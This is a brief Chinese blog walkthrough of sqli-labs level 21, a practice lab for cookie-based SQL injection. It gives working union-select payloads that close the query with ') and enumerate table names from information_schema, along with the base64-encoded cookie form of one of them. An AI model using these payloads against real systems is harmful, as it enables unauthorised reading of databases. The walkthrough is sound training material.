sqli-labs（21）

cookie注入引号和括号闭合 base64编码

0X01

看了题目应该是 cookie注入闭合是') 那么base64编码是什么鬼？？

看源码解决吧

https://www.cnblogs.com/yuanwanli/p/5808472.html setcookie（）函数的介绍

然后在查询比对与之前真确的时候输入的cookie是否符合

0X01构造语句进行注入

那我们的目的是将输入的数据通过base64解码后变成（‘’）要填充的数据

所以直接把我们的语句先base64加密在放进去就行了那我们来构造语句

http://tool.oschina.net/encrypt?type=3 在线编码的地址

‘) union select ,database(),#

但是好像失败了对不是好像是确实失败了

why？

在线url编码的工具

http://tool.chinaz.com/tools/urlencode.aspx

看这里 = 好像被url加密了是不是我们的符号不能直接base？

尝试一下验证一下

不是的是我操作失误了

那我们继续回归正题

') union select 1,2,3#

这里知道 2，3 是显示位置

那我们的语句就可以从2，3下手了

这里直接演示一下爆表名

') union select 1,(select table_name from information_schema.tables where table_schema='security' limit 0,1),3#

JykgdW5pb24gc2VsZWN0IDEsKHNlbGVjdCB0YWJsZV9uYW1lIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9J3NlY3VyaXR5JyBsaW1pdCAwLDEpLDMj

成功绕过

其他的构造方法就是以此类推学到这里了应该不需要多讲了所以我们到此 over

切记少就是多慢就是快

巴特西